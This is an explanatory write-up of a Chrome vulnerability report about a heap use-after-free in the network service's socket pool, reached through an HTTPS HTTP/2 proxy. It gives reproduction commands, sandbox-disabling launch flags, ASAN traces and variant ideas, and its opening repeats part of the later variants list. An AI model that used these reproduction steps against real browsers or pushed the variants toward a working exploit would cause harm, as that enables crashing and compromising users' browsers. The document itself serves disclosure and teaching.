- Other proxy authentication schemes. Try the same HTTPS HTTP/2 proxy setup with different auth challenge types and repeated challenges. A positive result is the same
Group::IsEmpty()use-after-free in the ASAN log. - Proxy teardown timing. Vary when the proxy closes or drains the SPDY session relative to the connect job completion. A positive result is the free stack still going through
OnAvailableSocketSlotandRemoveGroupwhile the use stack still hitsRequestSocketInternal. - Concurrent requests to the same pool key. Issue several requests through the same proxy group so that one completes and removes the group while another is still being dispatched. A positive result is the same read of size 8 on the freed group.
- Other Chrome versions and platforms. Run the same PoC on nearby dev and stable builds and on other operating systems. A positive result is the same crash family on a build where the lifetime ordering has not changed.
- Pointer-hardening builds. Run with MiraclePtr enabled to confirm the report's statement that the crash remains exploitable with it. A positive result is the same crash despite the hardening.
What happened, in plain words
Chrome has a piece of software inside it called the network service. Every time you open a web page, this service does the actual fetching: it looks up the address, opens connections, and hands the content back to the part of the browser you see. When you use a proxy (a middleman server that sits between your browser and the internet), the network service also talks to that proxy on your behalf.
This report describes a bug in that network service. Under a specific set of conditions, involving an HTTPS proxy that speaks a newer version of the web protocol called HTTP/2, Chrome frees a small piece of memory and then later reads from it as if it were still there. In programming terms that is called a use-after-free. It is the memory equivalent of deleting a contact from your phone and then still trying to call them: the entry is gone, but something still points at where it used to be.
The researcher who found it, credited as heapracer, produced a crash that a tool called AddressSanitizer (ASAN) catches reliably. ASAN is a debugging tool built into special test versions of Chrome; it watches every memory read and write and shouts loudly the moment code touches memory that has already been freed. The crash happens in the network service process, and the report records it as a heap-use-after-free in net::TransportClientSocketPool::Group::IsEmpty() const.
Context
Before the details, a few ideas from zero.
A socket is the software handle a program uses to talk over a network connection, roughly like a phone line that is open between two machines. A socket pool is a manager that keeps a collection of these connections and hands them out to whoever needs one, so the program does not have to open a fresh connection for every single request. Think of a car rental desk: instead of buying a new car for each customer, it keeps a fleet and lends one out, then takes it back when the customer is done.
Inside the socket pool, connections are organised into groups. A group is a bucket for all the connections that share the same key: the same scheme (http or https), the same host name, the same port, and related settings. When a request needs a socket, the pool either finds the matching group or creates a new one. When a group has no more pending work and sits idle, the pool removes it and destroys it to free memory.
A proxy is a server that sits between your browser and the destination website. Your browser sends its requests to the proxy, and the proxy forwards them onward. An HTTPS proxy is a proxy that your browser talks to over an encrypted connection. When the browser wants to reach a site through such a proxy, it has to set up a tunnel, and that setup can involve an authentication challenge: the proxy asks the browser to prove who it is, the browser answers, and the connection proceeds.
HTTP/2 is a newer version of the protocol browsers and servers use to exchange web pages. It can carry many requests at once over a single connection. Chrome's internal name for its HTTP/2 implementation is SPDY, which is why the code paths in this report have spdy in their names.
A use-after-free is a class of bug where a program releases a chunk of memory and then keeps using a pointer to it. The memory may have been handed to something else in the meantime, so reading or writing through the stale pointer can produce wrong behaviour or a crash. It is a well-known and serious category because, in the wrong hands, it can sometimes be turned into running attacker-controlled code. This report does not demonstrate that step; it documents the crash.
With those ideas in place, here is the affected path. The bug lives in Chrome's HTTPS HTTP/2 proxy authentication flow. The code involved runs through three areas of Chrome's source tree:
net/socket/transport_client_socket_pool, the socket pool described above.net/http/http_proxy_connect_job, the component that drives setting up a connection through a proxy, including the authentication challenge.net/spdy/spdy_proxy_client_socket, the component that carries traffic over HTTP/2 when the proxy is an HTTPS proxy.
The recorded crashing family is net::TransportClientSocketPool::Group::IsEmpty() const, a small function that checks whether a group has no pending requests.
In normal operation, the pool keeps one Group object per pool key. A group owns the pending socket requests and the connect jobs for that key. When a request needs a socket, the pool either finds the group or creates one. When the group becomes empty and idle, it is removed and destroyed. The proxy connect job drives the tunnel setup, including the proxy authentication challenge, and for an HTTPS proxy carrying HTTP/2 it creates a SPDY stream through SpdyProxyClientSocket.
The bug is a lifetime problem in that interaction: a socket-pool group, or closely related state, is destroyed or invalidated while another path still holds a reference and later dereferences it. The report describes this as the most likely root cause rather than a confirmed one.
Setup
Here is what the report tells us about the environment.
- Target: Google Chrome, reported through the Chrome VRP. The VRP, or Vulnerability Reward Program, is Google's scheme for paying people who responsibly report security bugs in Chrome.
- Weakness class: use after free, confirmed by AddressSanitizer as a heap-use-after-free.
- Versions: Chromium 147.0.7703.0 and Chromium 148.0.7729.0 dev ASAN builds. Chromium is the open-source project Chrome is built from; a dev build is an early, unfinished version used for testing; an ASAN build is one compiled with the AddressSanitizer tool switched on.
- Operating systems: Linux x86_64 on two hosts, described as Ubuntu 22.04.3 LTS class and Ubuntu 25.04 class. x86_64 is the common 64-bit processor family used in most desktop and server machines.
- Crash type: network service utility-process crash. A utility process is a separate, sandboxed helper process Chrome uses for jobs like networking, so a crash there does not take down the whole browser window.
- Build detail: the ASAN report records
MiraclePtr Status: NOT PROTECTED, with noraw_ptr<T>access to the region detected before the crash, and states the crash is still exploitable with MiraclePtr. MiraclePtr is a Chrome defence that makes certain kinds of use-after-free harder to exploit by using hardened pointers;raw_ptr<T>is the hardened pointer type that defence relies on. "NOT PROTECTED" means this particular access did not go through that protection.
The reproduction uses two local components: a controller HTTP server serving the PoC page, and a local HTTPS HTTP/2 proxy. A PoC, or proof of concept, is a small, deliberately built example that demonstrates a bug. The primary HTML artifact is min_poc.html and the harness script is launch_standalone.sh; the helper is min_repro.py. A harness is a script that sets everything up and starts the test for you.
Finding it
The researcher arrived at a reproducible ASAN crash in the network service. The sanitizer report shows a read of size 8 on thread T5 (Chrome_ChildIOT) at net::TransportClientSocketPool::Group::IsEmpty() const, called from RequestSocketInternal while a request is being dispatched through the socket pool. A thread is one line of execution inside a program; Chrome runs networking work on a dedicated thread, and Chrome_ChildIOT is the name of that thread here. A read of size 8 means the code tried to read eight bytes, the size of a typical pointer on a 64-bit machine.
The allocation and free stacks tell the story. A stack is the list of function calls that led to a particular moment, like a receipt showing every step that got you there. The 576-byte region was allocated when the group was created by GetOrCreateGroup during RequestSocketInternal. It was freed later on the same thread by TransportClientSocketPool::Group::~Group(), reached through RemoveGroup from OnAvailableSocketSlot after OnConnectJobComplete. The free path runs through the proxy connect job: HttpProxyConnectJob::OnIOComplete completes an SSL connect job, which notifies its delegate of completion, which calls OnConnectJobComplete on the group, which calls OnAvailableSocketSlot, which removes and destroys the group.
The use happens after that, when a new request enters RequestSocketInternal and calls IsEmpty() on the group pointer it still holds. In other words, the group was torn down as part of finishing a proxy connection while a later request path still expected it to be alive.
Exploitation
Step 1: start the helper servers
The fast path runs the harness from the report directory:
export CHROMIUM_PATH=/path/to/chrome
./launch_standalone.sh
Line by line:
export CHROMIUM_PATH=/path/to/chromesets an environment variable. An environment variable is a named setting that programs and scripts can read. Here it tells the scripts where the Chrome program file lives./path/to/chromeis a placeholder you replace with the real location on your machine../launch_standalone.shruns the harness script sitting in the current directory. The./means "in this folder".
This starts min_repro.py in HELPER_ONLY=1 mode, binds the controller server on CONTROLLER_PORT (default 8872) and the local HTTPS H2 proxy on PROXY_PORT (default 8873), then launches Chrome against http://[redacted]:${CONTROLLER_PORT}/min_poc.html?autorun=1 with the proxy and network flags the PoC needs. To bind a port means to claim that numbered doorway on the local machine so other programs can connect to it. [redacted] is the loopback address, meaning "this same computer". HELPER_ONLY=1 tells the script to run only the helper servers and not to launch Chrome itself.
Step 2: or run the helper manually
export CONTROLLER_PORT=8872
export PROXY_PORT=8873
HELPER_ONLY=1 python3 min_repro.py
Line by line:
export CONTROLLER_PORT=8872sets the port number the controller server will listen on.export PROXY_PORT=8873sets the port number the proxy will listen on.HELPER_ONLY=1 python3 min_repro.pyruns the helper script with Python 3, telling it to start only the servers.
The controller serves the PoC page; the proxy terminates TLS and speaks HTTP/2 to Chrome, which is what puts the request on the SPDY proxy path. TLS is the encryption layer behind HTTPS; "terminates TLS" means the proxy is the endpoint that decrypts and re-encrypts the traffic.
Step 3: launch Chrome against the proxy
export CHROMIUM_PATH=/path/to/chrome
"$CHROMIUM_PATH" \
--no-sandbox \
--ignore-certificate-errors \
--disable-background-networking \
--disable-quic \
--disable-domain-reliability \
--metrics-recording-only \
--disable-default-apps \
--disable-sync \
--host-resolver-rules="MAP * [redacted],EXCLUDE localhost,EXCLUDE [redacted]" \
--proxy-server="https://[redacted]:${PROXY_PORT}" \
--proxy-bypass-list="localhost;[redacted];[::1]" \
"http://[redacted]:${CONTROLLER_PORT}/min_poc.html?autorun=1"
Line by line:
export CHROMIUM_PATH=/path/to/chromeagain points at the Chrome program."$CHROMIUM_PATH" \starts Chrome. The backslash at the end of a line means "the command continues on the next line".--no-sandboxturns off Chrome's sandbox, the extra layer that normally restricts what a process can do. It is used here for a clean test run.--ignore-certificate-errorsmakes Chrome accept the proxy's self-signed certificate. A certificate is the digital ID a server presents to prove it is who it claims to be; a self-signed one is made by the server itself rather than a trusted authority, so Chrome would normally warn about it.--disable-background-networkingstops Chrome from making its own background requests, so the test is not disturbed.--disable-quicturns off QUIC, another transport protocol Chrome can use. The bug lives on the TCP/HTTP path, so QUIC is switched off to keep the traffic there.--disable-domain-reliabilityand--metrics-recording-onlyreduce background reporting and metrics activity.--disable-default-appsand--disable-synckeep the profile minimal and deterministic.--host-resolver-rules="MAP * [redacted],EXCLUDE localhost,EXCLUDE [redacted]"controls name resolution. It maps every host name to[redacted](a non-routable address) exceptlocalhostand[redacted], so no real external lookups happen.--proxy-server="https://[redacted]:${PROXY_PORT}"forces all traffic through the local HTTPS proxy, which is the component that drives the HTTP/2 proxy connect job.--proxy-bypass-list="localhost;[redacted];[::1]"keeps loopback traffic (the controller page itself) out of the proxy.[::1]is the IPv6 loopback address, the IPv6 equivalent of[redacted].- The final argument is the URL Chrome opens: the PoC page on the controller server, with
?autorun=1telling the page to start automatically.
Key flags, summarised:
--proxy-bypass-listkeeps loopback traffic (the controller page itself) out of the proxy.--host-resolver-rulesmaps every other host to[redacted]while excluding loopback, so no real external resolution happens.--ignore-certificate-errorsaccepts the proxy's self-signed certificate.--disable-quickeeps the connection on the TCP/HTTP path the bug lives in.--no-sandboxand the background-networking and sync flags are for a clean, deterministic run.
The report also gives a headless variant of the flag set for reliable reproduction. Headless means Chrome runs without a visible window.
--proxy-server=https://[redacted]:<port> --proxy-bypass-list=localhost;[redacted];[::1] --ignore-certificate-errors --disable-quic --disable-domain-reliability --metrics-recording-only --disable-default-apps --disable-sync --host-resolver-rules=MAP * [redacted],EXCLUDE localhost,EXCLUDE [redacted] --headless=new
This is the same set of switches on one line, with <port> standing for the proxy port number and --headless=new asking for the new headless mode.
Step 4: read the crash
The sanitizer output is the evidence. The use site:
==3183368==ERROR: AddressSanitizer: heap-use-after-free on address 0x7cf38a35bad0 at pc 0x7f94e5a76274 bp 0x7b937c7ad4a0 sp 0x7b937c7ad498
READ of size 8 at 0x7cf38a35bad0 thread T5 (Chrome_ChildIOT)
#0 0x7f94e5a76273 in net::TransportClientSocketPool::Group::IsEmpty() const net/socket/transport_client_socket_pool.h:350:14
#1 0x7f94e5a55d89 in net::TransportClientSocketPool::RequestSocketInternal(net::ClientSocketPool::GroupId const&, net::TransportClientSocketPool::Request const&, base::OnceCallback<void ()>) net/socket/transport_client_socket_pool.cc:495:14
Line by line:
- The first line is ASAN announcing the error: a heap-use-after-free at a particular memory address.
pc,bpandspare processor registers recording where the code was executing; you do not need them to understand the bug. READ of size 8says the program tried to read eight bytes from that address, on thread T5, theChrome_ChildIOTthread.#0is the exact function where the bad read happened:Group::IsEmpty(), in the filetransport_client_socket_pool.hat line 350.#1is the caller:RequestSocketInternal, which was in the middle of dispatching a request through the socket pool.
The free site:
0x7cf38a35bad0 is located 336 bytes inside of 576-byte region [0x7cf38a35b980,0x7cf38a35bbc0)
freed by thread T5 (Chrome_ChildIOT) here:
#0 0x555f9854e7c2 in operator delete(void*, unsigned long) (/mnt/lvm_data/chromium/src/out/asan_dbg_symbols/chrome+0xf3a07c2) (BuildId: 3afd3fb7d064a1b6)
#1 0x7f94e5a691b6 in net::TransportClientSocketPool::Group::~Group() net/socket/transport_client_socket_pool.cc:1499:44
#2 0x7f94e5a5c8fd in net::TransportClientSocketPool::RemoveGroup(std::__Cr::__map_iterator<std::__Cr::__tree_iterator<std::__Cr::__value_type<net::ClientSocketPool::GroupId, base::raw_ptr<net::TransportClientSocketPool::Group, (partition_alloc::internal::RawPtrTraits)1>>, std::__Cr::__tree_node<std::__Cr::__value_type<net::ClientSocketPool::GroupId, base::raw_ptr<net::TransportClientSocketPool::Group, (partition_alloc::internal::RawPtrTraits)1>>, void*>*, long>>) net/socket/transport_client_socket_pool.cc:995:3
#3 0x7f94e5a5749a in net::TransportClientSocketPool::RemoveGroup(net::ClientSocketPool::GroupId const&) net/socket/transport_client_socket_pool.cc:990:3
#4 0x7f94e5a5b13c in net::TransportClientSocketPool::OnAvailableSocketSlot(net::ClientSocketPool::GroupId const&, net::TransportClientSocketPool::Group*) net/socket/transport_client_socket_pool.cc:1172:5
#5 0x7f94e5a66240 in net::TransportClientSocketPool::OnConnectJobComplete(net::TransportClientSocketPool::Group*, int, net::ConnectJob*) net/socket/transport_client_socket_pool.cc:1401:5
#6 0x7f94e5a69323 in net::TransportClientSocketPool::Group::OnConnectJobComplete(int, net::ConnectJob*) net/socket/transport_client_socket_pool.cc:1510:24
#7 0x7f94e594be00 in net::ConnectJob::NotifyDelegateOfCompletion(int) net/socket/connect_job.cc:181:13
#8 0x7f94e59eea53 in net::SSLConnectJob::OnIOComplete(int) net/socket/ssl_connect_job.cc:187:5
#9 0x7f94e59ef198 in net::SSLConnectJob::OnConnectJobComplete(int, net::ConnectJob*) net/socket/ssl_connect_job.cc:144:3
#10 0x7f94e594be00 in net::ConnectJob::NotifyDelegateOfCompletion(int) net/socket/connect_job.cc:181:13
#11 0x7f94e51e8c63 in net::HttpProxyConnectJob::OnIOComplete(int) net/http/http_proxy_connect_job.cc:400:5
Line by line:
- The first line says the bad address sits 336 bytes inside a 576-byte block of memory. That block is the group object.
freed by thread T5says the same thread that later read the memory is the one that freed it. That rules out a race between two threads and points to an ordering problem within one thread.#0is the actual memory release, the C++operator delete.#1is the group's destructor, the function that runs when the group is destroyed.#2and#3areRemoveGroup, the pool function that takes the group out of its collection.#4isOnAvailableSocketSlot, called when a connection slot becomes free.#5and#6are the completion notifications for a connect job.#7to#11walk back through the SSL connect job and the proxy connect job, showing that finishing a proxy connection is what triggered the removal.
The allocation site:
previously allocated by thread T5 (Chrome_ChildIOT) here:
#0 0x555f9854dbbd in operator new(unsigned long) (/mnt/lvm_data/chromium/src/out/asan_dbg_symbols/chrome+0xf39fbbd) (BuildId: 3afd3fb7d064a1b6)
#1 0x7f94e5a561ea in net::TransportClientSocketPool::GetOrCreateGroup(net::ClientSocketPool::GroupId const&) net/socket/transport_client_socket_pool.cc:981:18
#2 0x7f94e5a558df in net::TransportClientSocketPool::RequestSocketInternal(net::ClientSocketPool::GroupId const&, net::TransportClientSocketPool::Request const&, base::OnceCallback<void ()>) net/socket/transport_client_socket_pool.cc:454:11
Line by line:
- The first line says this is where the memory was originally handed out, again on thread T5.
#0is the C++operator new, the memory allocation.#1isGetOrCreateGroup, the pool function that finds or creates a group for a key.#2isRequestSocketInternal, the same function that later reads the freed memory. So the same request path created the group and, much later, read it after it had been destroyed.
The summary line confirms the family:
SUMMARY: AddressSanitizer: heap-use-after-free net/socket/transport_client_socket_pool.h:350:14 in net::TransportClientSocketPool::Group::IsEmpty() const
This is ASAN's one-line verdict: the bug class, the file and line, and the function.
The report also records the command line of the crashing network service process, which shows the utility process type and the resolver and certificate flags used during the run:
Line by line:
/proc/self/exeis how Linux refers to the running program's own executable file.--type=utility --utility-sub-type=network.mojom.NetworkServicesays this is a utility process of the network service kind, which matches the crash type in the report.--service-sandbox-type=networkrecords the sandbox type for this service.--host-resolver-rules=MAP * [redacted],EXCLUDE localhost,EXCLUDE [redacted]is the same name-resolution rule as in the launch command.--no-sandboxand--ignore-certificate-errorsappear again, matching the launch flags.--disable-quickeeps traffic off QUIC.--user-data-dir=...points at the profile folder used for the run; the path is redacted here.- The remaining switches are Chrome's internal plumbing for crash reporting, feature flags and tracing. They are recorded for completeness and are not part of the bug.
Root cause
The most likely root cause, as the report frames it, is a lifetime bug during proxy-auth challenge handling and connection teardown. A socket-pool group, or closely related state, is destroyed or invalidated while another path still retains a reference and later dereferences it.
The free stack shows the group being removed from the pool inside OnAvailableSocketSlot, which is reached when a connect job completes. The completion is driven by the proxy connect job: HttpProxyConnectJob::OnIOComplete completes an SSL connect job, which notifies its delegate, which calls Group::OnConnectJobComplete, which calls TransportClientSocketPool::OnConnectJobComplete, which calls OnAvailableSocketSlot, which calls RemoveGroup and destroys the group. The use stack shows a later RequestSocketInternal calling IsEmpty() on a group pointer that was not refreshed after that removal.
Because the report describes the root cause as the most likely explanation, the exact ordering of the proxy-auth challenge and the teardown is not pinned down further. What is clear is that the group is freed on the same thread that later reads it, so the bug is a straightforward lifetime ordering problem rather than a cross-thread race.
On defences: the ASAN report records MiraclePtr Status: NOT PROTECTED, no raw_ptr<T> access to the region before the crash, and states the crash is still exploitable with MiraclePtr. So the existing pointer-hardening did not cover this access.
Impact
The crash is in the network service utility process, so the immediate effect is a network service crash. The report does not describe a demonstrated path from the use-after-free to code execution; it records the sanitizer finding and the crash state. The report does state that the crash is still exploitable with MiraclePtr. The conditions are those of the reproduction: an HTTPS HTTP/2 proxy in the request path, with the proxy-auth challenge and connection teardown sequence that triggers the group removal while a request still holds the group pointer.
Fix
The report does not describe a fix or a patch. What it establishes is the failing lifetime: the group is destroyed in OnAvailableSocketSlot via RemoveGroup while a later RequestSocketInternal still dereferences it. A fix would need to keep the group alive, or revalidate the pointer, across the proxy connect job completion and the subsequent request dispatch on that path.
Variants to test
- Other proxy authentication schemes. Try the same HTTPS HTTP/2 proxy setup with different auth challenge types and repeated challenges. A positive result is the same
Group::IsEmpty()use-after-free in the ASAN log. - Proxy teardown timing. Vary when the proxy closes or drains the SPDY session relative to the connect job completion. A positive result is the free stack still going through
OnAvailableSocketSlotandRemoveGroupwhile the use stack still hitsRequestSocketInternal. - Concurrent requests to the same pool key. Issue several requests through the same proxy group so that one completes and removes the group while another is still being dispatched. A positive result is the same read of size 8 on the freed group.
- Other Chrome versions and platforms. Run the same PoC on nearby dev and stable builds and on other operating systems. A positive result is the same crash family on a build where the lifetime ordering has not changed.
- Pointer-hardening builds. Run with MiraclePtr enabled to confirm the report's statement that the crash remains exploitable with it. A positive result is the same crash despite the hardening.
Glossary
- AddressSanitizer (ASAN): a debugging tool built into special test builds that detects memory errors such as use-after-free and reports them with a stack trace.
- Allocation: the act of reserving a block of memory for a program to use.
- Authentication challenge: a request from a server or proxy asking the client to prove its identity before proceeding.
- Bind (a port): to claim a numbered network doorway on a machine so other programs can connect to it.
- Certificate: a digital ID a server presents to prove its identity; a self-signed certificate is one the server made itself rather than one issued by a trusted authority.
- Chromium: the open-source browser project that Google Chrome is built from.
- Connect job: Chrome's internal task that sets up a network connection, including through a proxy.
- Controller server: in this report, a local web server that serves the PoC page.
- Crash: the abrupt failure of a program, here the network service process.
- Destructor: the function that runs when an object is destroyed, responsible for releasing its resources.
- Dev build: an early, unfinished version of software used for testing.
- Environment variable: a named setting that programs and scripts can read.
- Group (socket pool): a bucket inside the socket pool holding connections that share the same key, such as scheme, host and port.
- Harness: a script that sets up and starts a test automatically.
- Headless: running a browser without a visible window.
- Heap: the area of memory a program uses for objects it creates while running.
- Heap-use-after-free: a use-after-free where the freed memory came from the heap.
- HTTP/2: a newer version of the web protocol that can carry many requests at once over one connection.
- HTTPS: HTTP carried over an encrypted connection.
- HTTPS proxy: a proxy that the browser talks to over an encrypted connection.
- IPv6: the newer version of the internet addressing scheme;
[::1]is its loopback address. - Loopback: the address that refers to the same computer,
[redacted]in IPv4 and[::1]in IPv6. - MiraclePtr: a Chrome defence that makes certain use-after-free bugs harder to exploit by quarantining freed memory.
- Network service: the separate Chrome process that performs network requests.
- Pointer: a value that records the memory address of an object, like a note saying where something is stored.
- PoC (proof of concept): a small, deliberately built example that demonstrates a bug.
- Port: a numbered doorway on a machine that a program listens on for network connections.
- Proxy: a middleman server that sits between the browser and the destination website.
- QUIC: another transport protocol Chrome can use instead of TCP.
- Race condition: a bug where the outcome depends on the timing of two operations.
- raw_ptr<T>: Chrome's hardened pointer type used by MiraclePtr.
- Sandbox: a security layer that restricts what a process is allowed to do.
- Socket: the software handle a program uses to talk over a network connection.
- Socket pool: a manager that keeps a collection of connections and lends them out to requests.
- SPDY: Chrome's internal name for its HTTP/2 implementation.
- Stack (trace): the list of function calls that led to a particular moment in a program.
- TCP: the common transport protocol that underlies most web traffic.
- Thread: one line of execution inside a program.
- TLS: the encryption layer behind HTTPS.
- Use-after-free: a bug where a program frees memory and then keeps using a pointer to it.
- Utility process: a separate, sandboxed helper process Chrome uses for jobs like networking.
- VRP (Vulnerability Reward Program): Google's scheme for paying people who responsibly report security bugs in Chrome.
- x86_64: the common 64-bit processor family used in most desktops and servers.